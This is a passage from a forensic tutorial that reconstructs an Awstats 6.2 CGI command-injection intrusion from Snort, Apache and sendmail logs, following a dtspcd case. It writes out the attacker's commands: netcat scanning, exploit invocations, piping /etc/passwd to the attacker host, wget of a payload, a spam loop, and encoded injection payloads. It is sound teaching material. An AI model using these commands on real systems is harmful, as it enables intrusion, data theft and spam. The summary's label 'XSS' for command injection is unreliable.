Since the buffer overflow caused the dtspcd service to crash, a core file for the running service exists. A large production system may generate multiple core files daily. By using the find command, the investigator locates all of the core files generated in the last day an checks the modification stamp on them.

```
#  find / -name core -mtime -1 -exec ls -l {} \;
-rw-------   1 root     root      489712 Oct 20 15:27 /core
```

A core file was generated at the time of the buffer overflow attack. Using the strings command, an investigator extracts all of the ASCII text from the core file looking for evidence of the buffer overflow.

```
# strings /core | more
CORE
dtspcd
/usr/dt/bin/dtspcd

<<output omitted for brevity>>

Incorrect address format
Incorrect options format
Illegal permissions
Illegal file descriptor
Couldn't allocate address
Routine will place interface out of state
Illegal called/calling sequence number
System error
An event requires attention
Illegal amount of data
Buffer not large enough
Can't send message – (blocked)

<<output omitted for brevity>>
```

## Case Study Summary

The investigator was able to determine an enterprise intruion detection by using multiple log files from different sources. After the analysis, the following information about the intrusion is now available.

- Attack date - 20 October from 15:09 – 15:37
- Attacking host – IP Adress 10.28.2.4
- Vulnerable Service – The dtspcd service
- Attack method – A buffer overflow
- Attacker activity
    - Place a "+" in a /.rhosts file
    - Remotely login to the system using rlogin
    - Use the ftp command to connect to an arbitrary host
    - Download an attacker tool kit
    - Launch an IRC bot for remote command an control

## Analyzing a Web Server Intrusion – Case Study

In the following case study, the attacker exploits a vulnerability in the Awstats 6.2 package (http://www.securityfocus.com/bid/12572). The Awstsats package is a series of utilities that formats and creates html reports from Apache log files. The vulnerability allows the attacker to execute commands on the victim host as the web server UID (apache). After the attacker collects system information, the attacker uses the apache user ID to send SPAM messages.

The case study uses the following IP addresses and log files:

- 10.16.81.43 – Victim IP address
- 10.16.81.41 – Attacker IP address
- /var/log/snort/alert – Snort IDS log file
- /var/log/maillog – Victim mail log file
- /var/log/httpd/access_log – Web server log file
- [attacker]# - The attacker's terminal window
- [victim]# - The victim's terminal window

### Examining the Snort Log

The attacker uses the netcat (nc) command to conduct a port scan of the victim host, checking for common open ports. The nc utility reports that ports 22 and 80 are open.

```
[attacker]# nc -z -v 10.16.81.43 80 22 21 25 23 445 138
fedo [10.16.81.43] 22 (ssh) open
fedo [10.16.81.43] 80 open
```

The first evidence of the intrusion appears in the snort log at 21:35 on October 26th.

```
[victim]# tail -f /var/log/snort/alert
[**] [122:1:0] (portscan) TCP Portscan [**]
10/26-21:35:07.964195 10.16.81.41 -> 10.16.81.43
PROTO255 TTL:0 TOS:0x0 ID:6979 IpLen:20 DgmLen:157 DF
```

The attacker first attempts to access the default Awstats directory located at http://10.16.81.43/awstats. Instead of a “File Not Found” error, the attacker receives a “Forbidden” messages, alerting to the fact that the awstats directory does indeed exist.

```
[attacker]# wget http://10.16.81.43/awstats
--22:21:44--  http://10.16.81.43/awstats
           => `awstats'
Connecting to 10.16.81.43:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://10.16.81.43/awstats/ [following]
```

```
--22:21:44--  http://10.16.81.43/awstats/
           => `index.html'
Connecting to 10.16.81.43:80... connected.
HTTP request sent, awaiting response... 403 Forbidden
22:21:44 ERROR 403: Forbidden.
```

The following entry appears in the Snort log:

```
[**] [1:3463:1] WEB-CGI awstats access [**]
[Classification: access to a potentially vulnerable web application]
[Priority: 2]
10/26-21:38:10.978861 10.16.81.41:34850 -> 10.16.81.43:80
TCP TTL:64 TOS:0x0 ID:36298 IpLen:20 DgmLen:100 DF
***AP*** Seq: 0x3EBE0D2E  Ack: 0x1D0818C2  Win: 0xC1E8  TcpLen: 20
[Xref => http://www.securityfocus.com/bid/12572]
```

Now that the attacker has confirmed that the awstats directory does indeed exist, the attacker attempts to exploit the CGI vulnerability in the Awstats. The attacker executes the uname command to attempt to discover what kind of system he or she is attacking. The system turns out to be a Linux system.

```
[attacker]#./aw-smash 10.16.81.43 /awstats/awstats.pl "uname" 1

[*] Creating socket          [OK]
[*] Resolving victim host    [OK]
[*] Connecting at victim host   [OK]
[*] Sending exploit          [OK]
[*] Output by 10.16.81.43:


Linux
anacron_group_italy
```

The following entry appears in the snort log.

```
[**] [1:3813:1] WEB-CGI awstats.pl configdir command execution attempt [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
10/26-21:38:28.561377 10.16.81.41:34852 -> 10.16.81.43:80
TCP TTL:64 TOS:0x0 ID:36319 IpLen:20 DgmLen:96 DF
***AP*** Seq: 0x3F041522  Ack: 0x1EA73401  Win: 0xC1E8  TcpLen: 20
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2005-0116][Xref =>
http://www.securityfocus.com/bid/12298]
```

## Examining the Apache Access Log

The Apache access log contains a history of all of the HTTP requests made by the attacker. Now that the attacker has verified the usability of the Awstats exploit, the attacker will execute multiple commands on the victim system. Each one of these appears in the Apache access log.

The attacker collects the password file off of the victim host using the netcat command on both systems. First, the attacker uses the netcat command to listen on a local port of 6666 and redirects all inbound traffic to a file called passwds.txt

```
[attacker]# nc -l -p 6666 >> passwds.txt
```

After, the local connection is setup, the attacker executes a remote netcat command, once again exploiting the weakness in the Awstats program.

```
[attacker]# ./aw-smash 10.16.81.43 /awstats/awstats.pl "cat /etc/passwd |
nc 10.16.81.41 6666" 1

[*] Creating socket          [OK]
[*] Resolving victim host    [OK]
[*] Connecting at victim host   [OK]
[*] Sending exploit          [OK]
[*] Output by 10.16.81.43:


anacron_group_italy
```

After the command is completed, the attacker checks the hosts.txt file to verify that the contents of the remote /etc/passwd file were copied locally.

```
[attacker]# cat passwds.txt
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync

<<output omitted for brevity>>
```

The Apache web server creates the following log entries. The attacker command is passed as a variable to the awstats.pl CGI script.

```
[victim]# tail -f /var/log/httpd/access_log
10.16.81.41 - - [26/Oct/2005:21:39:09 -0700] "GET /
awstats/awstats.pl?configdir=|echo;echo+SILENTIUM;cat%20%2fetc%2fpasswd%
20%7c%20nc%2010.16.81.41%206666;echo+anacron_group_italy;echo| HTTP/1.0"
200 571 "-" "-"
```

After the attacker collects user account information, the attacker will next download a file on the victim system containing a SPAM message. The attacker uses the wget utility to retrieve the file called “messages”off of the attacker's server  located at the following URL: http://10.16.81.41/.zz/messages. The attacker downloads the message to the /tmp directory on the victim host.

```
[attacker]# ./aw-smash 10.16.81.43 /awstats/awstats.pl "cd
/tmp;wget http://10.16.81.41/.zz/messages" 1
```

The Apache web server creates the following log entry. Note that the time is now 22:09. Almost 30 minutes has lapsed since the initial intrusion.

```
10.16.81.41 - - [26/Oct/2005:22:09:31 -0700] "GET /
awstats/awstats.pl?configdir=|echo;echo+SILENTIUM;cd%20%2ftmp%3bwget%
20http%3a%2f%2f10.16.81.41%2f.zz%2fmessages;echo+anacron_group_italy;echo|
HTTP/1.0" 200 578 "-" "-"
```

With the SPAM message in the appropriate location, the attacker starts the to send the SPAM messages. By using a shell for loop, the attacker cycles through a file (email-list) of email addresses, sending 1 email every second.

```
[atacker]# for f in $(cat email-list)
> do ./aw-smash 10.16.81.43 /awstats/awstats.pl "cat /tmp/messages\
> | mail -s URGENT $f" 1 \
> sleep 1 \
> done
```

The Apache web server creates the following entries. Note that the same entry appears repeatedly in the log files. The only part of the entry that changes is the destination email address.

```
10.16.81.41 - - [26/Oct/2005:22:15:37 -0700] "GET /
awstats/awstats.pl?configdir=|echo;echo+SILENTIUM;cat%20%2ftmp%2fmessages%
20%7c%20mail%20-s%20URGENT%20alice%
40example.com;echo+anacron_group_italy;echo| HTTP/1.0" 200 587 "-" "-"

10.16.81.41 - - [26/Oct/2005:22:16:37 -0700] "GET /
awstats/awstats.pl?configdir=|echo;echo+SILENTIUM;cat%20%2ftmp%2fmessages%
20%7c%20mail%20-s%20URGENT%20ralph%
40example.com;echo+anacron_group_italy;echo| HTTP/1.0" 200 587 "-" "-"

10.16.81.41 - - [26/Oct/2005:22:17:37 -0700] "GET /
awstats/awstats.pl?configdir=|echo;echo+SILENTIUM;cat%20%2ftmp%2fmessages%
20%7c%20mail%20-s%20URGENT%20bob%
40example.com;echo+anacron_group_italy;echo| HTTP/1.0" 200 585 "-" "-"
```

## Examining the Sendmail Mail Log

The Sendmail mail log on the victim system reports on the status of all email deliveries. The following entries in the Sendmail mail log confirm the attacker has successfully sent SPAM messages on behalf of the apache system account.

```
[victim]# tail -f /var/log/maillog
Oct 26 22:15:53 fedo sendmail[13258]: j9R5Fqrq013258:
from=<apache@victim.example.com>, size=525, class=0, nrcpts=1,
msgid=<200510270515.j9R5Fg6e013237@victim.example.com>, proto=ESMTP,
daemon=MTA, relay=fedo [127.0.0.1]

Oct 26 22:15:53 fedo sendmail[13237]: j9R5Fg6e013237: to=alice@example.tw,
ctladdr=apache (48/48), delay=00:00:11, xdelay=00:00:01, mailer=relay,
pri=30219, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent
(j9R5Fqrq013258 Message accepted for delivery)

Oct 26 22:16:01 fedo sendmail[13270]: j9R5FtLi013270:
from=<apache@victim.example.com>, size=525, class=0, nrcpts=1,
msgid=<200510270515.j9R5FtFX013266@victim.example.com>, proto=ESMTP,
daemon=MTA, relay=fedo [127.0.0.1]

Oct 26 22:16:01 fedo sendmail[13266]: j9R5FtFX013266: to=ralph@example.tw,
ctladdr=apache (48/48), delay=00:00:06, xdelay=00:00:06, mailer=relay,
pri=30219, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent
(j9R5FtLi013270 Message accepted for delivery)

Oct 26 22:16:02 fedo sendmail[13257]: j9R5Fq7l013257:
from=<apache@victim.example.com>, size=521, class=0, nrcpts=1,
msgid=<200510270515.j9R5Fk99013244@victim.example.com>, proto=ESMTP,
daemon=MTA, relay=fedo [127.0.0.1]

Oct 26 22:16:02 fedo sendmail[13244]: j9R5Fk99013244: to=bob@example.tw,
ctladdr=apache (48/48), delay=00:00:16, xdelay=00:00:10, mailer=relay,
pri=30217, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent
(j9R5Fq7l013257 Message accepted for delivery)
```

## Case Study Summary

The investigator was able to determine an enterprise intrusion detection by using multiple log files from different sources. After the analysis, the following information about the intrusion is now available.

- Attack date - 26 October from 21:35 – 22:16
- Attacking host – IP Address 10.16.81.41
- Vulnerable Service – The Awstats 6.2 Log Analysis Package
- Attack method – CGI Cross Site Script (XSS) exploit
- Attacker activity
    - Verify the system architecture (Linux)
    - Collect the /etc/passwd file using the netcat (nc) command
    - Download a source SPAM message to the victim system
    - Use the victim apache user account to send SPAM messages to a predefined list